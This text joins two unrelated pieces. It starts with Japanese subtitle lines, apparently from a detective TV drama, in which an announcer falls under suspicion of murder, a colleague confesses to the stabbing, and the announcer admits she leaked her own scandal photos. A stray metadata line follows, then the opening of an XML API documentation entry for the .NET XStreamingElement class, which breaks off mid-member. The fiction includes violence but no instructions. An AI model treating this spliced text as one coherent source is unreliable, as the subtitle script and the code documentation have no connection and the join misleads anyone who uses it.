383 00:27:03,797 --> 00:27:06,800 本当に 私じゃないんです。 384 00:27:06,800 --> 00:27:08,785 念のために お聞きしますが→ 385 00:27:08,785 --> 00:27:12,785 昨日の夜 9時から11時頃 どこにいたんですか? 386 00:27:16,826 --> 00:27:21,815 それだけは… 言えません。 387 00:27:21,815 --> 00:27:23,815 (舌打ち) 388 00:27:24,818 --> 00:27:26,820 一平か? 花堂彩香が→ 389 00:27:26,820 --> 00:27:29,806 幹本殺しの重要参考人として 警察に事情聴取されてる。 390 00:27:29,806 --> 00:27:32,809 彩香は アリバイを 黙秘してるらしいんだ。 391 00:27:32,809 --> 00:27:34,794 えっ!? 392 00:27:34,794 --> 00:27:36,813 だがな 彩香には 幹本を殺す動機がない。 393 00:27:36,813 --> 00:27:39,816 それに 犯行時刻のほんの少し前→ 394 00:27:39,816 --> 00:27:41,801 俺は 彩香と電話で話してるんだ。 395 00:27:41,801 --> 00:27:44,821 なあ お前 昨日のその時間→ 396 00:27:44,821 --> 00:27:46,823 彼女がどこにいたのか 調べられるか? 397 00:27:46,823 --> 00:27:49,809 で… 出来なくはないですけど 何か手がかりありませんか? 398 00:27:49,809 --> 00:27:51,794 手がかり? 手がかり…。 399 00:27:51,794 --> 00:27:53,794 ああ… ゆうべ 9時から11時頃…。 400 00:27:55,815 --> 00:27:57,817 都内で→ 401 00:27:57,817 --> 00:28:00,887 サックスの生演奏があった店を 特定してくれ。 402 00:28:00,887 --> 00:28:04,824 ああ… ライブハウス バー… プロ アマ問わずだ! いいか? 403 00:28:04,824 --> 00:28:06,809 了解です。 404 00:28:06,809 --> 00:28:09,796 彩香さんは 必ず 僕が助けます。 405 00:28:09,796 --> 00:28:11,798 あっ! 痛い! 406 00:28:11,798 --> 00:28:14,817 全部で28軒か…。 407 00:28:14,817 --> 00:28:16,803 彩香さんは 本当に 生演奏を聴いてたんですか? 408 00:28:16,803 --> 00:28:19,806 テレビとかCDの可能性も ありますけど…。 409 00:28:19,806 --> 00:28:21,808 バカ野郎! 痛い…。 410 00:28:21,808 --> 00:28:23,826 あのな 受話器から 拍手や歓声が聞こえてきたんだよ。 411 00:28:23,826 --> 00:28:25,945 それに あの アルトサックスの音色は→ 412 00:28:25,945 --> 00:28:28,945 絶対 生演奏だ。 間違いない。 そっか…。 413 00:28:30,950 --> 00:28:33,803 ねえのか? どれか。 あっ! 414 00:28:33,803 --> 00:28:35,822 このホテル…。 どれ? 415 00:28:35,822 --> 00:28:37,807 帝都テレビから15分のところに あるんですけど→ 416 00:28:37,807 --> 00:28:39,809 9時から11時まで サックスのライブがあったみたいです。 417 00:28:39,809 --> 00:28:41,828 なんてホテルだ? 418 00:28:41,828 --> 00:28:43,828 ホテル グランピアです。 419 00:28:49,819 --> 00:28:52,805 わかった! ありがとな! えっ? 420 00:28:52,805 --> 00:28:55,805 じゃあな! え~… 行きたい 僕も。 421 00:28:56,809 --> 00:28:59,796 本当によかったわ 疑いが晴れて。 422 00:28:59,796 --> 00:29:02,815 黙秘を続けてたら→ 423 00:29:02,815 --> 00:29:04,815 出られなかったかも しれないんだぞ。 424 00:29:07,804 --> 00:29:09,822 ホテルの宿泊者名簿に 君の名前があったよ。 425 00:29:09,822 --> 00:29:11,822 脇の甘さが幸いしたな。 426 00:29:13,810 --> 00:29:15,810 なぜ アリバイを隠そうとした? ん? 427 00:29:16,813 --> 00:29:19,816 すみません…。 ホテルで会うような男がいるなら→ 428 00:29:19,816 --> 00:29:22,802 俺にも話しておくべきだろう。 429 00:29:22,802 --> 00:29:25,802 彩香が ホテルで会った人は どんな人なの? 430 00:29:26,806 --> 00:29:30,810 ゴールデンメディアっていう IT企業の社長です。 431 00:29:30,810 --> 00:29:34,814 ゴールデンメディアって… 今 急成長している会社じゃない? 432 00:29:34,814 --> 00:29:36,814 聞いた事あるわ。 そうか。 433 00:29:39,819 --> 00:29:42,822 探偵さんに黙ってた事は謝ります。 434 00:29:42,822 --> 00:29:44,824 でも… 彼の事は→ 435 00:29:44,824 --> 00:29:46,826 大っぴらに出来ない理由が あるんです。 436 00:29:46,826 --> 00:29:50,813 あ… もしかして これが理由? ん? 437 00:29:50,813 --> 00:29:54,813 「小田切社長 泥沼離婚 現在離婚調停中」 438 00:29:56,803 --> 00:29:58,803 付き合ってたのか? 439 00:30:00,823 --> 00:30:04,823 でも… 昨日の夜 別れました。 440 00:30:05,812 --> 00:30:10,817 (小田切隼人)彩香 2人で会うの しばらくやめよう。 441 00:30:10,817 --> 00:30:15,822 離婚の話 うまくいってないの? 442 00:30:15,822 --> 00:30:17,807 いや そういうわけじゃないけど…。 443 00:30:17,807 --> 00:30:22,795 会社の事もあるし 彩香も 今 大変な時期だろう? 444 00:30:22,795 --> 00:30:26,866 こうやって付き合ってる男が バツイチだなんて知られたら→ 445 00:30:26,866 --> 00:30:29,802 余計イメージに傷がつく…。 446 00:30:29,802 --> 00:30:31,802 私は そんなの気にしないわ。 447 00:30:32,805 --> 00:30:35,805 彩香のためなんだ わかるだろう? 448 00:30:37,827 --> 00:30:40,813 (彩香)本当は 私のためなんかじゃない。 449 00:30:40,813 --> 00:30:42,799 バレて困るのは 彼のほうなんです。 450 00:30:42,799 --> 00:30:45,799 そんな男 別れて正解よ。 451 00:30:46,919 --> 00:30:50,823 それにしても… どうして 殺人現場に→ 452 00:30:50,823 --> 00:30:53,823 君のIDカードが 落ちていたのかな…。 453 00:31:04,821 --> 00:31:20,803 ♬~ 454 00:31:20,803 --> 00:31:22,822 (ため息) 455 00:31:22,822 --> 00:31:45,812 ♬~ 456 00:31:45,812 --> 00:31:47,797 あららら…。 457 00:31:47,797 --> 00:31:49,797 (舌打ち) 458 00:31:51,801 --> 00:31:54,801 そういう事か…。 459 00:31:59,809 --> 00:32:01,828 (阿南)午後3時50分。 460 00:32:01,828 --> 00:32:05,828 柿沢靖子 幹本猛殺害容疑で逮捕する。 461 00:32:06,816 --> 00:32:08,816 はい…。 462 00:32:10,803 --> 00:32:12,822 ヤッコ! ちょっと… ヤッコ! 463 00:32:12,822 --> 00:32:15,808 刑事さん 何かの間違いです! ヤッコが人を殺すなんて→ 464 00:32:15,808 --> 00:32:18,828 そんな…。 間違いじゃない。 465 00:32:18,828 --> 00:32:20,797 私がやったの。 466 00:32:20,797 --> 00:32:22,815 …どうして? 467 00:32:22,815 --> 00:32:26,819 (靖子) 私は ただの代用品だった…。 468 00:32:26,819 --> 00:32:30,819 初めから 私の居場所なんて なかったのよ。 469 00:32:31,808 --> 00:32:33,808 彩香には わからないだろうけど。 470 00:32:41,818 --> 00:32:44,787 この件については 他局に先駆けて→ 471 00:32:44,787 --> 00:32:47,840 夕方の情報番組で 発表する事になった。 472 00:32:47,840 --> 00:32:51,811 担当者は 追って連絡する。 いいね? 473 00:32:51,811 --> 00:32:53,796 (一同)はい。 474 00:32:53,796 --> 00:32:56,816 (玲奈)そのニュース 誰が読むんだろう? 475 00:32:56,816 --> 00:32:59,816 何げにチャンスじゃない? 絶対注目されるでしょ。 476 00:33:00,803 --> 00:33:02,803 リカさん。 477 00:33:03,806 --> 00:33:06,826 (まみ)事件のニュース 私に読ませてください。 478 00:33:06,826 --> 00:33:09,812 あなたは ジャンケン占いの担当でしょう。 479 00:33:09,812 --> 00:33:12,812 お願いします! チャンスが欲しいんです。 480 00:33:13,816 --> 00:33:15,816 ヤッコの逮捕が あなたのチャンスなの? 481 00:33:16,819 --> 00:33:20,823 彩香さんだって そうやって ここまで来たんでしょう? 482 00:33:20,823 --> 00:33:23,826 チャンスに貪欲なのは 悪い事じゃない。 483 00:33:23,826 --> 00:33:25,795 自己顕示欲が強いのも 結構。 484 00:33:25,795 --> 00:33:28,795 でもね… それだけじゃダメなの。 485 00:33:31,817 --> 00:33:33,803 ニュースは生き物よ。 486 00:33:33,803 --> 00:33:35,821 私たちの伝え方次第で→ 487 00:33:35,821 --> 00:33:37,821 視聴者の感情を左右する事もある。 488 00:33:38,824 --> 00:33:42,824 今のあなたに その覚悟があるとは思えないわ。 489 00:33:48,818 --> 00:33:52,822 (彩香)「8月13日未明 渋谷区恵比寿のマンションで→ 490 00:33:52,822 --> 00:33:56,826 男性が刃物で刺され 死亡しているのが発見されました」 491 00:33:56,826 --> 00:33:59,829 「男性は 幹本猛さん 31歳」 492 00:33:59,829 --> 00:34:01,814 「容疑者は→ 493 00:34:01,814 --> 00:34:04,750 帝都テレビアナウンサー 柿沢靖子 29歳」 494 00:34:04,750 --> 00:34:07,803 「柿沢容疑者は 現在 警察の取り調べを受け→ 495 00:34:07,803 --> 00:34:10,823 幹本さん殺害の関与について→ 496 00:34:10,823 --> 00:34:12,825 全面的に認めているという事です」 497 00:34:12,825 --> 00:34:16,796 「警視庁は 詳しい動機について 調べていく方針です」 498 00:34:16,796 --> 00:34:20,816 〈これで 俺の調査は終了だ〉 499 00:34:20,816 --> 00:34:24,804 〈だが… 妙に引っかかる〉 500 00:34:24,804 --> 00:34:32,828 ♬~ 501 00:34:32,828 --> 00:34:35,798 なんだかなぁ…。 502 00:34:35,798 --> 00:34:39,798 (携帯電話) 503 00:34:40,820 --> 00:34:42,805 もしもし。 504 00:34:42,805 --> 00:34:44,824 ああ! よう 来たのか。 505 00:34:44,824 --> 00:34:46,809 なんすか 話って? ヘークション! 506 00:34:46,809 --> 00:34:50,809 (くしゃみ) 507 00:34:51,814 --> 00:34:55,801 柿沢靖子が 動機を吐いた。 508 00:34:55,801 --> 00:34:57,820 え? 柿沢靖子は→ 509 00:34:57,820 --> 00:35:00,806 幹本と付き合っていたらしい。 510 00:35:00,806 --> 00:35:02,808 え? 511 00:35:02,808 --> 00:35:07,797 彼にプロポーズされた時は すごく嬉しくて→ 512 00:35:07,797 --> 00:35:11,817 毎日が 夢のようでした。 513 00:35:11,817 --> 00:35:16,806 それまでは ずっと彩香の代わりでしたから…。 514 00:35:16,806 --> 00:35:21,806 (靖子の声)でも まさか 彼が あんな事してたなんて…。 515 00:35:25,815 --> 00:35:27,815 猛? 516 00:35:28,801 --> 00:35:38,811 (幹本の荒い息づかい) 517 00:35:38,811 --> 00:35:40,811 …どういう事? 518 00:35:43,816 --> 00:35:46,816 全部 あなたの仕業だったの? 519 00:35:49,822 --> 00:35:53,822 おい! 勝手にいじるなよ! おい! 520 00:35:55,811 --> 00:35:57,797 (靖子)何 これ!? 521 00:35:57,797 --> 00:35:59,799 写真を送りつけたのも あなただったの!? 522 00:35:59,799 --> 00:36:02,799 違うよ! おい バカ やめろ!! 523 00:36:10,810 --> 00:36:12,810 おい… 脅かすなよ。 524 00:36:15,798 --> 00:36:18,818 なんなんだよ…。 彩香の事…→ 525 00:36:18,818 --> 00:36:20,818 今でも好きなの? 526 00:36:22,805 --> 00:36:24,805 その話は終わっただろ? 527 00:36:26,826 --> 00:36:29,812 私は 彩香の代わりだったの? 528 00:36:29,812 --> 00:36:32,812 よしてくれ 疲れてんだよ。 529 00:36:33,799 --> 00:36:35,818 ねえ ねえ…! 別れてよ! 530 00:36:35,818 --> 00:36:38,821 ねえ 私 彩香の代わりなの!? ねえ! 531 00:36:38,821 --> 00:36:41,821 おい! もう勘弁してくれよ! 532 00:36:42,825 --> 00:36:45,811 なんで 彩香なの…? なんで 彩香なのよ!? 533 00:36:45,811 --> 00:36:50,800 あなたは 私だけを見てくれてる って信じてたのに! 534 00:36:50,800 --> 00:36:53,803 うるせえよ。 535 00:36:53,803 --> 00:36:55,821 そうだよ。 おめえは 彩香の代わりだよ! 536 00:36:55,821 --> 00:36:58,808 代わり 代わり ただの代わりだよ! 537 00:36:58,808 --> 00:37:00,826 これでいいんだろ? 538 00:37:00,826 --> 00:37:21,814 ♬~ 539 00:37:21,814 --> 00:37:24,817 (刺す音) (幹本)うっ! …あっ。 540 00:37:24,817 --> 00:37:36,779 ♬~ 541 00:37:36,779 --> 00:37:39,882 計画的な犯行だった って事ですか? 542 00:37:39,882 --> 00:37:42,818 ああ 本人が認めてる。 543 00:37:42,818 --> 00:37:44,870 しかし 幹本は→ 544 00:37:44,870 --> 00:37:48,808 花堂彩香に写真を送った事は 否定してましたよね? 545 00:37:48,808 --> 00:37:52,812 日東スポーツに 花堂彩香の情報を 売ったかどうかも→ 546 00:37:52,812 --> 00:37:55,812 今となっては 死人に口なしだ。 547 00:37:57,817 --> 00:37:59,852 まあ とりあえずは→ 548 00:37:59,852 --> 00:38:02,805 お前が仕掛けた 監視カメラの映像のおかげで→ 549 00:38:02,805 --> 00:38:05,805 事件は 一件落着だ。 フフ…。 550 00:38:07,810 --> 00:38:10,810 貸し借りなしな? 551 00:38:11,797 --> 00:38:13,797 (舌打ち) 552 00:40:30,769 --> 00:40:33,769 そう… 世話になったわね。 553 00:40:34,840 --> 00:40:37,793 柿沢靖子は どうなると思う? 554 00:40:37,793 --> 00:40:40,829 懲役8年ってとこかしら? 555 00:40:40,829 --> 00:40:42,815 まあ 5~6年で出られたとしても 復帰は無理ね。 556 00:40:42,815 --> 00:40:45,815 元の世界には戻れない…。 557 00:40:53,826 --> 00:40:57,830 〈元の世界には戻れない…〉 558 00:40:57,830 --> 00:40:59,830 〈あの女も そうなのか?〉 559 00:41:07,840 --> 00:41:09,840 だから なんなんだよ…。 560 00:41:11,810 --> 00:41:15,831 (局長)全く とんでもない事を してくれたよ 柿沢君は。 561 00:41:15,831 --> 00:41:18,834 だが 君は何も心配しなくていい。 562 00:41:18,834 --> 00:41:20,819 局長のおっしゃるとおりだ。 563 00:41:20,819 --> 00:41:22,821 君の流出写真の件も→ 564 00:41:22,821 --> 00:41:25,821 柿沢の一件で 立ち消えになったしな。 565 00:41:26,842 --> 00:41:31,842 ですが… 私がいると 番組の迷惑になります。 566 00:41:32,831 --> 00:41:36,819 スキャンダルを起こした以上…→ 567 00:41:36,819 --> 00:41:39,819 処分されても仕方ありません。 (部長)おい。 568 00:41:43,842 --> 00:41:48,814 何があっても 君を手放すわけにはいかないよ。 569 00:41:48,814 --> 00:41:51,934 君は これまでどおり…。 570 00:41:51,934 --> 00:41:53,819 いや これまで以上に→ 571 00:41:53,819 --> 00:41:55,838 我が社のために 頑張ってもらうよ。 572 00:41:55,838 --> 00:41:57,840 でも…。 573 00:41:57,840 --> 00:42:00,843 君は 我が社の宝だ。 574 00:42:00,843 --> 00:42:04,813 イメージも すぐに回復するだろう。 575 00:42:04,813 --> 00:42:07,813 (部長)二度と 妙な気を起こすんじゃないよ。 576 00:42:11,837 --> 00:42:13,822 (玲奈)まみ! 577 00:42:13,822 --> 00:42:15,841 『うしみつどきショッピング』の 後任に決まったんだって? 578 00:42:15,841 --> 00:42:19,812 まあね。 ポスト柿沢の座は まみの物か。 579 00:42:19,812 --> 00:42:23,816 別に柿沢さんの後釜なんて 狙ってないから。 580 00:42:23,816 --> 00:42:32,825 ♬~ 581 00:42:32,825 --> 00:42:35,811 ああ…。 582 00:42:35,811 --> 00:42:38,831 (相田香織) 起立筋が かなり張ってます。 583 00:42:38,831 --> 00:42:40,816 ちゃんと睡眠とってますか? 584 00:42:40,816 --> 00:42:43,816 ああ… それが なかなかね…。 585 00:42:44,837 --> 00:42:46,837 はい 座って。 586 00:42:52,828 --> 00:42:54,828 こりゃ すごい…。 587 00:42:56,832 --> 00:42:58,834 あっ そういえば 探偵さん→ 588 00:42:58,834 --> 00:43:02,821 帝都テレビの女子アナの件 調べてるんでしたよね? 589 00:43:02,821 --> 00:43:04,823 ああ。 まさか→ 590 00:43:04,823 --> 00:43:07,826 殺人事件にまで 発展するとはなぁ…。 591 00:43:07,826 --> 00:43:10,813 うちのお店のお客さんで→ 592 00:43:10,813 --> 00:43:14,833 最近 とっても羽振りのいい方が いるんですけどね。 593 00:43:14,833 --> 00:43:17,886 ええ? それは うらやましい…。 594 00:43:17,886 --> 00:43:22,875 その人 日東スポーツの 記者さんなんですよ。 595 00:43:22,875 --> 00:43:26,829 何? それで? 596 00:43:26,829 --> 00:43:28,829 実は…。 うん。 597 00:43:32,868 --> 00:43:37,868 ありがとう…。 おかげでスッキリしたよ。 598 00:43:39,808 --> 00:43:57,826 ♬~ 599 00:43:57,826 --> 00:44:00,826 (シャッター音) 600 00:44:02,815 --> 00:44:09,815 (シャッター音) 601 00:44:10,839 --> 00:44:12,825 日東スポーツの 大平さんですよね? 602 00:44:12,825 --> 00:44:14,825 ちょっと お時間いいですか? 603 00:46:46,745 --> 00:46:48,797 (シャッター音) 604 00:46:48,797 --> 00:46:51,817 日東スポーツの 大平さんですよね? 605 00:46:51,817 --> 00:46:53,802 ちょっと お時間いいですか? 606 00:46:53,802 --> 00:46:55,821 (大平)あんた 誰!? 607 00:46:55,821 --> 00:46:58,807 いやねぇ… この記事→ 608 00:46:58,807 --> 00:47:01,810 誰から お金もらって 書いたのかなと思って。 609 00:47:01,810 --> 00:47:05,814 言えるわけないだろ? 信用があるんだから。 610 00:47:05,814 --> 00:47:10,802 フフフ… 「信用」。 信用とか言っちゃって えっ? 611 00:47:10,802 --> 00:47:13,822 ただ 金返すのが 嫌なだけなんじゃないの? ん? 612 00:47:13,822 --> 00:47:16,822 フフ… あららら…。 613 00:47:17,793 --> 00:47:19,795 うわっ! 614 00:47:19,795 --> 00:47:32,808 ♬~ 615 00:47:32,808 --> 00:47:34,810 うわぁ! シャッ シャッ シャッ! 616 00:47:34,810 --> 00:47:36,812 わーっ!! 617 00:47:36,812 --> 00:47:38,814 フン フン フンッ! 618 00:47:38,814 --> 00:47:40,799 うりゃあ! 619 00:47:40,799 --> 00:47:46,805 ♬~ 620 00:47:46,805 --> 00:47:48,805 うわぁ! ああ…! 621 00:47:49,858 --> 00:47:51,810 うおぉ! 622 00:47:51,810 --> 00:47:53,810 (スタンガンの音) 623 00:47:56,798 --> 00:47:58,817 うわぁ! うあぁぁぁ…。 624 00:47:58,817 --> 00:48:01,817 (2人)うぅぅぅ…! 625 00:48:03,822 --> 00:48:05,822 とりゃあ! 626 00:48:10,796 --> 00:48:12,796 フッ! はっ! 627 00:48:15,817 --> 00:48:17,803 フン…。 628 00:48:17,803 --> 00:48:19,805 クリーン。 629 00:48:19,805 --> 00:48:21,823 あんた クラブのツケが たまりにたまって→ 630 00:48:21,823 --> 00:48:25,794 金に困ってるんだって? なんで それを…。 631 00:48:25,794 --> 00:48:27,794 フフ…。 632 00:48:28,814 --> 00:48:31,800 洗いざらい しゃべってくれたら 腕利きの弁護士に頼んで→ 633 00:48:31,800 --> 00:48:33,802 あんたのツケ チャラにしてやるよ。 634 00:48:33,802 --> 00:48:35,821 えっ? フフ…。 635 00:48:35,821 --> 00:48:37,821 ≫(女性のあえぎ声) 636 00:48:46,815 --> 00:48:48,815 探偵さん…。 637 00:48:49,818 --> 00:48:51,818 よう。 638 00:48:53,822 --> 00:48:55,822 フフ…。 639 00:48:57,809 --> 00:48:59,778 どうしたんですか? 640 00:48:59,778 --> 00:49:01,780 報酬なら すぐに 振り込みましたけど…。 641 00:49:01,780 --> 00:49:05,780 金の話じゃねえさ。 じゃあ…。 642 00:49:06,802 --> 00:49:08,802 女子アナってのは 大変な仕事だよな。 643 00:49:10,822 --> 00:49:14,810 何があっても カメラの前では 常に笑顔でいなきゃいけない。 644 00:49:14,810 --> 00:49:18,797 簡単なようで なかなか 出来るもんじゃないよ。 うん。 645 00:49:18,797 --> 00:49:20,816 あの…。 646 00:49:20,816 --> 00:49:23,802 どうして あんな事したんだ? 647 00:49:23,802 --> 00:49:25,802 え? 648 00:49:26,805 --> 00:49:31,805 自分を貶めるようなまね どうしてしたんだ? 649 00:49:33,795 --> 00:49:35,814 君自身だったんだろう? 650 00:49:35,814 --> 00:49:39,814 日東スポーツの記者に 情報をリークしたのは。 651 00:49:41,820 --> 00:49:45,807 大平っていう記者に 全部聞いたよ。 652 00:49:45,807 --> 00:49:49,807 君から金をもらって 写真を掲載したってな。 653 00:49:50,846 --> 00:49:53,846 そんな話 信じたんですか? 654 00:49:54,816 --> 00:49:57,816 君のパソコンも 調べさせてもらった。 655 00:49:58,820 --> 00:50:03,820 削除データを復元したら こんなものが出てきたよ。 656 00:50:05,861 --> 00:50:11,816 ♬~ 657 00:50:11,816 --> 00:50:15,816 どうしてだよ? ええ? どうしてだ! 658 00:50:20,809 --> 00:50:25,814 私 会社を辞めたかったんです。 659 00:50:25,814 --> 00:50:27,799 ええ? 660 00:50:27,799 --> 00:50:30,819 今まで自分がやりたかった仕事は→ 661 00:50:30,819 --> 00:50:34,823 一度もさせてもらえませんでした。 662 00:50:34,823 --> 00:50:39,811 私は 清純派という イメージの中でしか生きられない→ 663 00:50:39,811 --> 00:50:41,811 籠の中の鳥だったんです。 664 00:50:44,816 --> 00:50:46,801 だからって こんな事する必要ないだろう? 665 00:50:46,801 --> 00:50:49,804 辞表を書けば済む話じゃないか。 何十回も書きました! 666 00:50:49,804 --> 00:50:52,807 でも その度に破られて…。 667 00:50:52,807 --> 00:50:55,807 上は 一切 認めてくれませんでした。 668 00:51:00,799 --> 00:51:03,802 辞めるためには…→ 669 00:51:03,802 --> 00:51:08,790 この手で 自分のイメージを 壊すしかなかった。 670 00:51:08,790 --> 00:51:10,790 壊したかったんです。 671 00:51:12,811 --> 00:51:16,811 だから 君はブログの書き込みに 便乗したってわけか。 672 00:51:21,803 --> 00:51:23,805 (舌打ち) 673 00:51:23,805 --> 00:51:25,805 ひとつ 教えてやるよ。 674 00:51:27,792 --> 00:51:30,795 君の同期の柿沢靖子は→ 675 00:51:30,795 --> 00:51:34,816 今でも 君に脅迫状を送ったり 情報をリークしたのは→ 676 00:51:34,816 --> 00:51:37,802 死んだ幹本だと思ってる。 677 00:51:37,802 --> 00:51:40,822 彼女は その事が どうしても許せずに→ 678 00:51:40,822 --> 00:51:42,791 幹本の事を…。 違う! 679 00:51:42,791 --> 00:51:44,793 私は ヤッコを 巻き込むつもりなんか→ 680 00:51:44,793 --> 00:51:46,811 全然なかった。 681 00:51:46,811 --> 00:51:50,799 それは そうかもしれないな。 682 00:51:50,799 --> 00:51:55,804 まあ 余計なお世話かもしれないが…。 683 00:51:55,804 --> 00:51:59,808 ただ 君の独りよがりな狂言が→ 684 00:51:59,808 --> 00:52:04,796 大勢の人間を巻き込んだ事は 事実だ。 685 00:52:04,796 --> 00:52:10,796 それが 柿沢靖子の殺人の 引き金になった事もな。 686 00:52:16,808 --> 00:52:19,808 私は どうしたら…。 687 00:52:22,797 --> 00:52:24,797 どうしたら…。 688 00:52:28,803 --> 00:52:30,803 さあな…。 689 00:52:33,808 --> 00:52:37,808 今度こそ 自分で決めれば いいじゃねえか。 690 00:52:49,808 --> 00:52:51,926 (キャスター) 港区六本木にある公園の一角で→ 691 00:52:51,926 --> 00:52:54,813 カルガモのヒナが誕生し すくすくと育っています。 692 00:52:54,813 --> 00:52:56,965 公園を管理している 協働推進課では→ 693 00:52:56,965 --> 00:52:59,818 カルガモが 野鳥である事を考慮しながら→ 694 00:52:59,818 --> 00:53:01,986 9月から10月にかけての 巣立ちの時まで→ 695 00:53:01,986 --> 00:53:03,805 見守っていく事にしています。 696 00:53:03,805 --> 00:53:06,925 次は 今日の特集です。 その前に→ 697 00:53:06,925 --> 00:53:08,810 私から 皆様に お伝えしたい事があります。 698 00:53:08,810 --> 00:53:10,812 (どよめき) 699 00:53:10,812 --> 00:53:13,832 先日 日東スポーツに掲載された 私の写真ですが→ 700 00:53:13,832 --> 00:53:16,832 あれは 流出したのではありません。 701 00:53:17,802 --> 00:53:22,807 私が自ら 記者にお金を払って 載せてもらったものです。 702 00:53:22,807 --> 00:53:24,776 (どよめき) 703 00:53:24,776 --> 00:53:27,796 (彩香)私は ずっと自分を偽り→ 704 00:53:27,796 --> 00:53:31,816 視聴者の皆様に 嘘をついてきました。 705 00:53:31,816 --> 00:53:34,819 皆様が抱いてきた 清純派というイメージは→ 706 00:53:34,819 --> 00:53:36,821 全くのデタラメです。 707 00:53:36,821 --> 00:53:38,807 何 言い出すんだ! あいつを止めろ! 708 00:53:38,807 --> 00:53:41,807 (彩香)騒ぎを起こした事を 心からお詫びします。 709 00:53:44,813 --> 00:53:47,816 本当に申し訳ありませんでした。 710 00:53:47,816 --> 00:53:50,819 (部長)CMに行け! CMに! 711 00:53:50,819 --> 00:53:55,790 一連の騒動を引き起こした責任は きちんと取らせて頂く所存です。 712 00:53:55,790 --> 00:53:57,809 皆様には 日を改めて→ 713 00:53:57,809 --> 00:53:59,809 ご報告させて頂きたいと思います。 714 00:54:07,819 --> 00:54:09,819 バカな事したわね。 715 00:54:10,805 --> 00:54:13,808 申し訳ありませんでした。 716 00:54:13,808 --> 00:54:15,810 でも…→ 717 00:54:15,810 --> 00:54:18,810 今までで 一番いい放送だったわ。 718 00:54:24,819 --> 00:54:27,819 ありがとうございました。 719 00:54:28,823 --> 00:54:33,778 〈その後 彩香は帝都テレビを辞めた〉 720 00:54:33,778 --> 00:54:36,815 〈依願退職と言えば 聞こえがいいが→ 721 00:54:36,815 --> 00:54:38,800 いわゆる クビだ〉 722 00:54:38,800 --> 00:54:42,800 〈そして 彼女は 自分の事務所を立ち上げた〉 723 00:54:44,823 --> 00:54:46,791 ごめん! 遅くなって。 ああ。 724 00:54:46,791 --> 00:54:48,810 マティーニ。 (マスター)はい。 725 00:54:48,810 --> 00:54:51,796 忙しそうだな。 まあね。 726 00:54:51,796 --> 00:54:53,815 ねえ 探偵。 ん? 727 00:54:53,815 --> 00:54:55,800 これ 知ってる? 728 00:54:55,800 --> 00:54:58,820 (彩香)「与えてやっていると 思ってるんです」 729 00:54:58,820 --> 00:55:01,823 「だから 男に任せてばかりでは ダメなんです」 730 00:55:01,823 --> 00:55:03,775 あれ? 彩香 前とは→ 731 00:55:03,775 --> 00:55:05,810 全然イメージ違うけど→ 732 00:55:05,810 --> 00:55:07,912 すごい生き生きしてると 思わない? 733 00:55:07,912 --> 00:55:10,815 この歯に衣着せぬ発言で 結構 評判いいみたい。 734 00:55:10,815 --> 00:55:12,951 そうか。 うん。 735 00:55:12,951 --> 00:55:14,819 あっ そうそう 柿沢靖子の裁判始まったわ。 736 00:55:14,819 --> 00:55:18,807 私も これから忙しくなるわ。 お前 弁護人なのか? 737 00:55:18,807 --> 00:55:21,826 そう。 彩香の依頼で。 738 00:55:21,826 --> 00:55:23,812 弁護士費用 全て彩香がもってるの。 739 00:55:23,812 --> 00:55:25,814 証言台にも立ってくれたわ。 それじゃあ そろそろ→ 740 00:55:25,814 --> 00:55:27,832 俺のギャラを…。 741 00:55:27,832 --> 00:55:29,818 なあ そろそろ 俺のギャラ出てくるだろう? 742 00:55:29,818 --> 00:55:32,818 あっ そうだ。 はい 請求書。 請求書? 743 00:55:35,790 --> 00:55:37,792 なんだ このクラブ? 744 00:55:37,792 --> 00:55:39,811 なんだ この93万6000円ってのは! 745 00:55:39,811 --> 00:55:41,813 日東スポーツの記者の分 立て替えといたわ。 746 00:55:41,813 --> 00:55:45,817 弁護士がツケなんて チャラに出来るわけないでしょ? 747 00:55:45,817 --> 00:55:47,802 あ…。 安請け合いするからよ。 748 00:55:47,802 --> 00:55:49,787 あなたが払いなさい。 749 00:55:49,787 --> 00:55:52,807 マスター もう1杯。 750 00:55:52,807 --> 00:55:54,809 ツケで…。 751 00:55:54,809 --> 00:55:56,809 くぅ! 752 00:58:23,758 --> 00:58:25,777 (鈴原小百合) 5年前 彼に捨てられたんです。 753 00:58:25,777 --> 00:58:27,779 なぜ 坂巻さんは 小百合さんと別れたんですか? 754 00:58:27,779 --> 00:58:29,764 (大沼) お前は もう 誰にも渡さない。 755 00:58:29,764 --> 00:58:33,785 殺人よ。 大沼って男を殺してる。 756 00:58:33,785 --> 00:58:36,785 (小百合)待ち続けた この5年は なんだったの?
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <Type Name="XStreamingElement" FullName="System.Xml.Linq.XStreamingElement"> <TypeSignature Language="C#" Value="public class XStreamingElement" /> <TypeSignature Language="ILAsm" Value=".class public auto ansi beforefieldinit XStreamingElement extends System.Object" /> <AssemblyInfo> <AssemblyName>System.Xml.Linq</AssemblyName> <AssemblyVersion>4.0.0.0</AssemblyVersion> </AssemblyInfo> <Base> <BaseTypeName>System.Object</BaseTypeName> </Base> <Interfaces /> <Docs> <remarks> <attribution license="cc4" from="Microsoft" modified="false" /> <para>This class allows you to create an XML tree that supports deferred streaming output. You use this class to create an XML tree in a very similar fashion to creating an XML tree using <see cref="T:System.Xml.Linq.XElement" />. However, there is a fundamental difference. When you use a LINQ query to specify content when creating an XML tree using <see cref="T:System.Xml.Linq.XElement" />, the query variable is iterated at the time of construction of the XML tree, and the results of the query are added to the XML tree. In contrast, when you create an XML tree using <see cref="T:System.Xml.Linq.XStreamingElement" />, a reference to the query variable is stored in the XML tree without being iterated. Queries are iterated only upon serialization. This allows you to create larger XML trees while maintaining a smaller memory footprint.</para> <para>If you are streaming from an input source, such as a text file, then you can read a very large text file, and generate a very large XML document while maintaining a small memory footprint.</para> <para>Another scenario is that you have a large XML tree that has been loaded into memory, and you want to create a transformed version of the document. If you create a new document using <see cref="T:System.Xml.Linq.XElement" />, then you will have two large XML trees in memory upon completion of the transformation. However, if you create the new XML tree using <see cref="T:System.Xml.Linq.XStreamingElement" />, then your working set will be effectively cut in half.</para> <para>Note that when debugging a program that uses <see cref="T:System.Xml.Linq.XStreamingElement" />, displaying the value of an object causes its <see cref="Overload:System.Xml.Linq.XStreamingElement.ToString" /> method to be called. This causes the XML to be serialized. If the semantics of your streaming element query are such that the streaming element can only be streamed once, this may cause undesirable behavior in your debugging experience.</para> </remarks> <summary> <attribution license="cc4" from="Microsoft" modified="false" /> <para>Represents elements in an XML tree that supports deferred streaming output.</para> </summary> </Docs> <Members> <Member MemberName=".ctor"> <MemberSignature Language="C#" Value="public XStreamingElement (System.Xml.Linq.XName name);" /> 